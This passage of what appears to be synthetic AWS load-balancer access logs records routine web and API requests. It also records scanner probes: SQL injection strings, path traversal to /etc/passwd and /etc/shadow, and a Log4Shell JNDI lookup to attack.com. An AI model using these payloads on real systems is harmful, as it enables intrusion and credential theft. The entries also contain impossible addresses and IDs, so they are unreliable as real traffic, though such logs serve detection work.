205.165.17.237:25708 10.0.169.135:443 0.003946 0.319664 0.019562 302 302 167 7791 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-095991e97df14bd88bd3fad0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:34.750877Z "forward" "-" "-" "10.0.169.135:443" "302" "-" "-" +https 2024-11-01T02:35:35.820772Z prod-api-alb 47.35.168.114:43619 10.0.73.15:443 0.033614 0.484707 0.081437 301 301 450 3045 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc07-61537720771744babf602011" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:35.820772Z "forward" "-" "-" "10.0.73.15:443" "301" "-" "-" +https 2024-11-01T02:35:37.672080Z prod-web-alb 61.36.10.58:36142 10.0.228.36:443 0.009869 0.085904 0.049845 404 404 420 13416 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc09-6af18d7f0c9a4a4ea00e7b15" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:37.672080Z "forward" "-" "-" "10.0.228.36:443" "404" "-" "-" +https 2024-11-01T02:35:38.306096Z prod-api-alb 45.155.205.16:54170 10.0.67.235:443 0.044359 0.349046 0.054953 200 200 915 2429 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0a-e3be79ed6f3f4d02b03bd2d5" "-" "-" 6 2024-11-01T02:35:38.306096Z "forward" "-" "-" "10.0.67.235:443" "200" "-" "-" +https 2024-11-01T02:35:39.660719Z prod-api-alb 89.232.232.29:15599 10.0.125.66:443 0.073863 0.407513 0.029205 200 200 178 9302 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0b-fae9f812cf424763a094cf02" "-" "-" 5 2024-11-01T02:35:39.660719Z "forward" "-" "-" "10.0.125.66:443" "200" "-" "-" +https 2024-11-01T02:35:39.932032Z prod-api-alb 40.37.237.200:64317 10.0.202.209:443 0.075379 0.302853 0.007813 200 200 140 1454 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0b-57b34824cceb49b98284ecea" "prod-api-alb.example.com" "-" 7 2024-11-01T02:35:39.932032Z "forward" "-" "-" "10.0.202.209:443" "200" "-" "-" +https 2024-11-01T02:35:41.091785Z prod-api-alb 117.160.184.42:43458 10.0.3.27:443 0.098538 0.006264 0.023296 200 200 8 5299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0d-d0ae2cda1f4f496d8d8ed4b0" "prod-api-alb.example.com" "-" 3 2024-11-01T02:35:41.091785Z "forward" "-" "-" "10.0.3.27:443" "200" "-" "-" +https 2024-11-01T02:35:41.463580Z prod-web-alb 101.102.164.64:24553 10.0.209.216:443 0.069671 0.427287 0.057985 200 200 687 499 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc0d-f8273b2c6b464d1da190d8e0" "prod-web-alb.example.com" "-" 5 2024-11-01T02:35:41.463580Z "forward" "-" "-" "10.0.209.216:443" "200" "-" "-" +https 2024-11-01T02:35:41.690969Z prod-api-alb 221.97.246.6:42567 10.0.253.119:443 0.016210 0.153924 0.070781 404 404 198 1601 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc0d-f01727f3c9fd4eb7a421b4d6" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:41.690969Z "forward" "-" "-" "10.0.253.119:443" "404" "-" "-" +http 2024-11-01T02:35:41.976032Z staging-alb 41.22.252.248:64970 23.13.237.81:80 0.130047 0.037379 0.072330 200 200 434 12107 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc0d-6a94e8d0008e40b3a3b457b2" "staging-alb.example.com" "-" 1 2024-11-01T02:35:41.976032Z "forward" "-" "-" "23.13.237.81:80" "200" "-" "-" +https 2024-11-01T02:35:43.579214Z staging-alb 196.114.194.78:48501 149.205.188.246:80 0.056475 0.489142 0.092430 404 404 816 10991 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc0f-3a165da051dc4361a041f525" "staging-alb.example.com" "-" 4 2024-11-01T02:35:43.579214Z "forward" "-" "-" "149.205.188.246:80" "404" "-" "-" +https 2024-11-01T02:35:44.725031Z prod-web-alb 125.66.105.32:17774 10.0.237.167:443 0.041433 0.330141 0.082207 200 200 691 5319 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc10-fc1702340139499c826e639a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:35:44.725031Z "forward" "-" "-" "10.0.237.167:443" "200" "-" "-" +https 2024-11-01T02:35:45.867771Z prod-api-alb 45.155.205.14:10032 10.0.44.223:443 0.056613 0.129240 0.030854 404 404 686 14532 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc11-888fbde6f445475fb43cf6d0" "-" "-" 1 2024-11-01T02:35:45.867771Z "forward" "-" "-" "10.0.44.223:443" "404" "-" "-" +https 2024-11-01T02:35:46.396630Z staging-alb 204.107.144.159:47289 51.116.163.65:443 0.115591 0.594897 0.092614 200 200 627 8594 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc12-e140551f4ce049089a06975c" "staging-alb.example.com" "-" 4 2024-11-01T02:35:46.396630Z "forward" "-" "-" "51.116.163.65:443" "200" "-" "-" +https 2024-11-01T02:35:47.202202Z prod-web-alb 121.202.239.209:37507 10.0.49.241:443 0.050443 0.036950 0.071549 200 200 174 5024 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc13-656880766a1d4098a58f7675" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:47.202202Z "forward" "-" "-" "10.0.49.241:443" "200" "-" "-" +https 2024-11-01T02:35:48.826705Z prod-web-alb 49.128.32.70:63432 10.0.224.103:443 0.086188 0.297780 0.090909 301 301 5 13864 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc14-194eb207aa46412d9c5fc6c8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:48.826705Z "forward" "-" "-" "10.0.224.103:443" "301" "-" "-" +https 2024-11-01T02:35:49.693579Z prod-api-alb 250.198.205.64:49593 10.0.137.3:443 0.017824 0.258572 0.049432 404 404 388 724 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc15-125cc14de34d4704a6369414" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:49.693579Z "forward" "-" "-" "10.0.137.3:443" "404" "-" "-" +https 2024-11-01T02:35:50.532413Z prod-web-alb 194.133.11.208:40142 10.0.239.102:443 0.098642 0.214654 0.064833 301 301 168 5569 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc16-7825d2b9dfab4aeba10dc612" "prod-web-alb.example.com" "-" 5 2024-11-01T02:35:50.532413Z "forward" "-" "-" "10.0.239.102:443" "301" "-" "-" +https 2024-11-01T02:35:51.074495Z prod-web-alb 161.92.183.160:43314 10.0.27.68:443 0.012917 0.433531 0.093171 200 200 952 7387 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc17-9ed754415b664d778162d9a5" "prod-web-alb.example.com" "-" 3 2024-11-01T02:35:51.074495Z "forward" "-" "-" "10.0.27.68:443" "200" "-" "-" +https 2024-11-01T02:35:52.549203Z prod-web-alb 228.52.243.196:47134 10.0.109.190:443 0.074403 0.090655 0.056029 301 301 245 6331 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc18-40a1794eea454928a8985704" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:52.549203Z "forward" "-" "-" "10.0.109.190:443" "301" "-" "-" +https 2024-11-01T02:35:53.899611Z prod-web-alb 121.104.120.125:38084 10.0.109.228:443 0.095274 0.464066 0.042617 200 200 561 5330 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc19-88a158e886a54122827b35c3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:53.899611Z "forward" "-" "-" "10.0.109.228:443" "200" "-" "-" +https 2024-11-01T02:35:54.557702Z prod-api-alb 46.141.90.225:34620 10.0.233.172:443 0.047729 0.078985 0.002691 200 200 639 3335 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc1a-f66e529adad54b118946c0ab" "-" "-" 4 2024-11-01T02:35:54.557702Z "forward" "-" "-" "10.0.233.172:443" "200" "-" "-" +https 2024-11-01T02:35:56.240610Z staging-alb 27.113.221.31:11948 157.246.32.223:8080 0.069244 0.700714 0.101178 200 200 608 9278 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc1c-fdb0d005fd0a4e4a986e1b99" "staging-alb.example.com" "-" 0 2024-11-01T02:35:56.240610Z "forward" "-" "-" "157.246.32.223:8080" "200" "-" "-" +http 2024-11-01T02:35:56.425017Z staging-alb 129.45.30.138:29400 34.231.102.232:80 0.125127 0.037043 0.147955 302 302 104 6937 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc1c-6c2cb1ca59514ce2a09681ae" "staging-alb.example.com" "-" 8 2024-11-01T02:35:56.425017Z "forward" "-" "-" "34.231.102.232:80" "302" "-" "-" +https 2024-11-01T02:35:58.086061Z prod-web-alb 150.179.234.88:43738 10.0.71.72:443 0.081019 0.092173 0.008871 200 200 273 13399 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc1e-1f9de1f1a1be487a8ec4adb7" "prod-web-alb.example.com" "-" 4 2024-11-01T02:35:58.086061Z "forward" "-" "-" "10.0.71.72:443" "200" "-" "-" +https 2024-11-01T02:35:59.476581Z prod-web-alb 248.14.227.96:53470 10.0.19.2:443 0.000901 0.060555 0.000142 200 200 963 3814 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc1f-ede5af76bff04abd93593f4d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:59.476581Z "forward" "-" "-" "10.0.19.2:443" "200" "-" "-" +https 2024-11-01T02:36:00.042547Z prod-api-alb 185.181.187.26:20154 10.0.179.4:443 0.085013 0.487208 0.030295 403 403 44 2075 "GET /admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc20-82449e7b7b844e23b5d2522a" "-" "-" 2 2024-11-01T02:36:00.042547Z "forward" "-" "-" "10.0.179.4:443" "403" "-" "-" +https 2024-11-01T02:36:01.019069Z prod-api-alb 85.126.127.16:63391 10.0.11.107:443 0.090821 0.342071 0.030254 200 200 842 13418 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc21-fb46105e3e6a419fb4abb9dc" "prod-api-alb.example.com" "-" 4 2024-11-01T02:36:01.019069Z "forward" "-" "-" "10.0.11.107:443" "200" "-" "-" +https 2024-11-01T02:36:02.386269Z prod-web-alb 188.229.148.113:50932 10.0.106.170:443 0.000237 0.453518 0.050416 404 404 882 11515 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc22-4a58e31e0d3a49e998150484" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:02.386269Z "forward" "-" "-" "10.0.106.170:443" "404" "-" "-" +https 2024-11-01T02:36:03.620428Z prod-web-alb 45.155.205.147:12611 10.0.189.184:443 0.019185 0.056434 0.088408 404 404 660 3675 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc23-d989f9406eb44087a2d1b6e6" "-" "-" 9 2024-11-01T02:36:03.620428Z "forward" "-" "-" "10.0.189.184:443" "404" "-" "-" +https 2024-11-01T02:36:04.739361Z prod-api-alb 117.1.170.205:54876 10.0.223.199:443 0.072555 0.070976 0.079893 200 200 753 13917 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc24-fc22071113b545d4acb58e19" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:04.739361Z "forward" "-" "-" "10.0.223.199:443" "200" "-" "-" +https 2024-11-01T02:36:06.451916Z prod-web-alb 250.7.164.63:26289 10.0.221.198:443 0.028117 0.202681 0.066122 200 200 425 14338 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc26-92d8d177d6d94267b9ee69f7" "prod-web-alb.example.com" "-" 0 2024-11-01T02:36:06.451916Z "forward" "-" "-" "10.0.221.198:443" "200" "-" "-" +http 2024-11-01T02:36:07.538305Z staging-alb 144.131.72.141:13344 250.25.63.31:80 0.027580 0.030134 0.098333 200 200 139 4726 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc27-76de86b8189547d8adfcd311" "staging-alb.example.com" "-" 9 2024-11-01T02:36:07.538305Z "forward" "-" "-" "250.25.63.31:80" "200" "-" "-" +https 2024-11-01T02:36:07.848145Z prod-web-alb 139.128.106.24:32126 10.0.146.96:443 0.017896 0.063290 0.040859 200 200 492 8983 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc27-914c43399aca4f15aa61395e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:36:07.848145Z "forward" "-" "-" "10.0.146.96:443" "200" "-" "-" +https 2024-11-01T02:36:09.355733Z staging-alb 193.27.228.128:26906 72.226.225.172:443 0.077648 0.661200 0.090749 200 200 82 9254 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc29-049974c9cfb8498e8954820e" "-" "-" 0 2024-11-01T02:36:09.355733Z "forward" "-" "-" "72.226.225.172:443" "200" "-" "-" +https 2024-11-01T02:36:09.958130Z prod-web-alb 115.176.171.104:44528 10.0.41.52:443 0.037574 0.261937 0.064446 302 302 218 9940 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc29-2f15a9c13f8543fd9f94ee2e" "prod-web-alb.example.com" "-" 8 2024-11-01T02:36:09.958130Z "forward" "-" "-" "10.0.41.52:443" "302" "-" "-" +http 2024-11-01T02:36:11.240762Z staging-alb 155.49.12.141:36672 255.9.59.30:443 0.092623 0.345325 0.085800 200 200 849 6463 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc2b-1f00b6514ae54ad7bffe9a0c" "staging-alb.example.com" "-" 4 2024-11-01T02:36:11.240762Z "forward" "-" "-" "255.9.59.30:443" "200" "-" "-" +http 2024-11-01T02:36:11.528919Z staging-alb 141.90.196.36:62742 164.196.42.37:443 0.019175 0.016163 0.086305 404 404 714 11318 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc2b-735a63ed45824a5ca2ccd49f" "staging-alb.example.com" "-" 6 2024-11-01T02:36:11.528919Z "forward" "-" "-" "164.196.42.37:443" "404" "-" "-" +https 2024-11-01T02:36:13.172813Z prod-web-alb 85.166.169.33:30937 10.0.252.116:443 0.092718 0.365887 0.004459 200 200 397 11021 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc2d-0fd729d494fb4d16ae2585be" "prod-web-alb.example.com" "-" 9 2024-11-01T02:36:13.172813Z "forward" "-" "-" "10.0.252.116:443" "200" "-" "-" +http 2024-11-01T02:36:14.034506Z staging-alb 162.25.14.43:25982 63.212.189.78:443 0.082545 0.028811 0.011713 404 404 243 8784 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc2e-4fbb5efbb8eb4b52a6a96d93" "staging-alb.example.com" "-" 6 2024-11-01T02:36:14.034506Z "forward" "-" "-" "63.212.189.78:443" "404" "-" "-" +http 2024-11-01T02:36:14.646138Z staging-alb 26.207.179.14:60225 248.2.21.75:8080 0.060912 0.713196 0.080364 200 200 700 11288 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc2e-600cab4f8a274072bbcb451b" "staging-alb.example.com" "-" 3 2024-11-01T02:36:14.646138Z "forward" "-" "-" "248.2.21.75:8080" "200" "-" "-" +https 2024-11-01T02:36:15.514813Z prod-web-alb 69.242.210.146:52010 10.0.146.108:443 0.039963 0.145501 0.071113 200 200 853 10689 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc2f-120bb35194484d91b68e9cb5" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:15.514813Z "forward" "-" "-" "10.0.146.108:443" "200" "-" "-" +https 2024-11-01T02:36:16.133018Z prod-api-alb 170.130.131.229:35814 10.0.202.143:443 0.093271 0.009764 0.057231 301 301 455 14231 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc30-fdcf96f3f1184b7dbc7f4604" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:16.133018Z "forward" "-" "-" "10.0.202.143:443" "301" "-" "-" +https 2024-11-01T02:36:16.342755Z prod-web-alb 243.23.8.104:48447 10.0.19.64:443 0.068184 0.125554 0.074109 200 200 158 12202 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc30-ab5f9fee960342fb848fe4e5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:36:16.342755Z "forward" "-" "-" "10.0.19.64:443" "200" "-" "-" +https 2024-11-01T02:36:16.758423Z staging-alb 50.63.1.161:39542 193.226.204.54:80 0.145600 0.485523 0.127946 404 404 451 9067 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc30-76ecab780820482c9d6512b6" "staging-alb.example.com" "-" 1 2024-11-01T02:36:16.758423Z "forward" "-" "-" "193.226.204.54:80" "404" "-" "-" +https 2024-11-01T02:36:17.972839Z prod-api-alb 193.27.228.186:23083 10.0.91.213:443 0.098552 0.471772 0.033828 404 404 274 4281 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc31-64318bf425764c559da1ef8b" "-" "-" 6 2024-11-01T02:36:17.972839Z "forward" "-" "-" "10.0.91.213:443" "404" "-" "-" +https 2024-11-01T02:36:19.096864Z staging-alb 236.147.117.20:34162 33.71.174.211:443 0.063460 0.409372 0.143211 200 200 473 3733 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc33-96ec95574d5a4b4b995670d5" "staging-alb.example.com" "-" 5 2024-11-01T02:36:19.096864Z "forward" "-" "-" "33.71.174.211:443" "200" "-" "-" +https 2024-11-01T02:36:20.075190Z prod-web-alb 63.212.238.253:53813 10.0.203.80:443 0.043500 0.125367 0.002053 302 302 476 11029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc34-46dd6164251e486496625535" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:20.075190Z "forward" "-" "-" "10.0.203.80:443" "302" "-" "-" +https 2024-11-01T02:36:20.398637Z prod-api-alb 202.146.75.92:39886 10.0.72.49:443 0.095090 0.022659 0.089016 200 200 417 5158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 